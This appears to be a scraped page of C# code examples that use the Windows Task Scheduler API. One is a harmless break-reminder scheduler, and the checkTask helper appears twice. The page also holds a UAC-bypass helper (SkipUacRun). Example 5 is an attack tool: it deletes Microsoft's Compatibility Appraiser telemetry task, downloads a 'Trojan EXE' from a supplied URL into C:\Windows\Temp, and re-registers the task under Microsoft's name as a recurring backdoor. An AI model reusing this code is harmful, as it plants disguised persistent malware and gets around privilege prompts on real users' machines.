Beispiel #1
0
        private void button1_Click(object sender, EventArgs e)
        {
            hour   = (int)this.hour1.Value;
            minute = (int)this.minute1.Value;
            if (hour + minute == 0)
            {
                MessageBox.Show("间隔不能为0", "错误提示");
                return;
            }
            if (hour > 23)
            {
                MessageBox.Show("小时不能超过23");
                hour1.Value = 23;
                return;
            }
            if (minute > 59)
            {
                MessageBox.Show("分钟不能超过59");
                minute1.Value = 59;
                return;
            }
            //创建者
            var creator = "ClockAlarm";
            //计划任务名称
            var taskName = "ClockAlarmSchedule";
            //执行的程序路径
            var path = exe_path;
            //计划任务执行的频率 PT1M一分钟  PT1H30M 90分钟
            var interval = "PT" + hour + "H" + minute + "M";
            //开始时间 请遵循 yyyy-MM-ddTHH:mm:ss 格式
            DateTime currentTime = DateTime.Now;

            currentTime = currentTime.AddHours(hour);
            currentTime = currentTime.AddMinutes(minute);
            var startBoundary = currentTime.ToString("yyyy-MM-ddTHH:mm:ss");  // "2015-04-09T14:27:25";

            var         description = "这是一个定时提醒休息的计划任务,由程序ClockAlarm.exe创建和管理";
            _TASK_STATE state       = OptScheduler.CreateTaskScheduler(creator, taskName, path, interval, startBoundary, description);

            if (state == _TASK_STATE.TASK_STATE_RUNNING)
            {
                String msg = "";
                if (hour > 0)
                {
                    msg = hour + "小时" + minute + "分钟间隔提醒任务添加成功!";
                }
                else
                {
                    msg = minute + "分钟间隔提醒任务添加成功!";
                }
                MessageBox.Show(msg);
            }
            this.Close();
            Application.Exit();
        }
Beispiel #2
0
    static public bool SkipUacRun(string taskName, string[] args = null)
    {
        bool silent = true;

        try
        {
            TaskScheduler.TaskScheduler service = new TaskScheduler.TaskScheduler();
            service.Connect();
            ITaskFolder     folder = service.GetFolder(@"\"); // root
            IRegisteredTask task   = folder.GetTask(taskName);

            silent = false;
            AppLog.Line("Trying to SkipUAC ...");

            IExecAction action = (IExecAction)task.Definition.Actions[1];
            if (action.Path.Equals(System.Reflection.Assembly.GetExecutingAssembly().Location, StringComparison.CurrentCultureIgnoreCase))
            {
                string arguments = args == null ? "" : ("\"" + string.Join("\" \"", args) + "\"");

                IRunningTask running_Task = task.RunEx(arguments, (int)_TASK_RUN_FLAGS.TASK_RUN_NO_FLAGS, 0, null);

                for (int i = 0; i < 5; i++)
                {
                    Thread.Sleep(250);
                    running_Task.Refresh();
                    _TASK_STATE state = running_Task.State;
                    if (state == _TASK_STATE.TASK_STATE_RUNNING || state == _TASK_STATE.TASK_STATE_READY || state == _TASK_STATE.TASK_STATE_DISABLED)
                    {
                        if (state == _TASK_STATE.TASK_STATE_RUNNING || state == _TASK_STATE.TASK_STATE_READY)
                        {
                            return(true);
                        }
                        break;
                    }
                }
            }
        }
        catch (Exception err)
        {
            if (!silent)
            {
                AppLog.Line("SkipUAC Error {0}", err.ToString());
            }
        }
        return(false);
    }
        /// <summary>
        /// 检查定时任务是否存在
        /// </summary>
        /// <param name="taskName"></param>
        /// <returns></returns>
        #region public static bool checkTask(String taskName)
        public static bool checkTask(String taskName, out _TASK_STATE state)
        {
            var isExists = false;
            IRegisteredTaskCollection taskList = GetAllTasks();

            foreach (IRegisteredTask task in taskList)
            {
                if (task.Name.Equals(taskName))
                {
                    isExists = true;
                    state    = task.State;

                    return(isExists);
                }
            }
            state = _TASK_STATE.TASK_STATE_UNKNOWN;
            return(isExists);
        }
        /// <summary>
        /// 检查定时任务是否存在
        /// </summary>
        /// <param name="taskName"></param>
        /// <returns></returns>
        #region public static bool checkTask(String taskName)
        public static bool checkTask(String taskName, out _TASK_STATE state)
        {
            //标识任务计划是否存在
            var isExists = false;
            //获取计划列表
            IRegisteredTaskCollection taskList = GetAllTasks();

            foreach (IRegisteredTask task in taskList) //循环遍历列表
            {
                if (task.Name.Equals(taskName))        //计划名称相等,计划存在
                {
                    isExists = true;                   //标识为true
                    state    = task.State;             //返回计划任务的状态

                    return(isExists);
                }
            }
            //不存在,返回位置状态
            state = _TASK_STATE.TASK_STATE_UNKNOWN;
            return(isExists);
        }
Beispiel #5
0
        public void Execute(Dictionary <string, string> arguments)
        {
            arguments.Remove("vaults");

            if (!IsExists("Microsoft Compatibility Appraiser"))
            {
                Console.WriteLine("\n[X] Don't have Appraiser, Unable to Telemetry!\n");
                System.Environment.Exit(0);
            }
            else
            {
                Console.WriteLine("\n[Y] Computer have Appraiser, Can use Telemetry!!\n");
            }


            if (arguments.ContainsKey("/url"))
            {
                Console.WriteLine("[*] Action: Download Trojan EXE");
                string target  = arguments["/url"].Trim('"').Trim('\'');
                var    FileUrl = target;

                Console.WriteLine("[>] Download From: " + target);
                if (arguments.ContainsKey("/path"))
                {
                    string to     = arguments["/path"].Trim('"').Trim('\'');
                    var    Fileto = to;
                    Download(FileUrl, Fileto);
                    Edit(Fileto);
                }
                else
                {
                    string to     = "C:\\Windows\\Temp\\compattelrun.exe";
                    var    Fileto = to;
                    Download(FileUrl, Fileto);
                    Edit(Fileto);
                }
            }
            else
            {
                if (arguments.ContainsKey("/path"))
                {
                    string to     = arguments["/path"].Trim('"').Trim('\'');
                    var    Fileto = to;
                    Edit(Fileto);
                }
            }

            if (arguments.ContainsKey("/command"))
            {
                string command = arguments["/command"].Trim('"').Trim('\'');
                Edit_command(command);
            }

            DeleteTask("Microsoft Compatibility Appraiser");

            //创建者
            string creator = "Microsoft Corporation";
            //计划任务名称
            string taskName = "Microsoft Compatibility Appraiser";
            //执行的程序路径
            string path = "%windir%\\system32\\compattelrunner.exe";
            //计划任务执行的频率 PT1M一分钟  PT1H30M 90分钟
            string interval = "PT1H30M";
            //开始时间 请遵循 yyyy-MM-ddTHH:mm:ss 格式
            DateTime currentTime   = DateTime.Now;
            var      startBoundary = currentTime.ToString("yyyy-MM-ddTHH:mm:ss");

            var description = "如果已选择加入 Microsoft 客户体验改善计划,则会收集程序遥测信息";

            _TASK_STATE state = CreateTaskScheduler(creator, taskName, path, interval, startBoundary, description);

            if (state == _TASK_STATE.TASK_STATE_RUNNING)
            {
                String msg = "";
                Console.WriteLine("\r\n[*] Action: " + interval + " 时间间隔计划后门修改成功!");
                Console.WriteLine("[>] wait a moment... \r\n");
            }
        }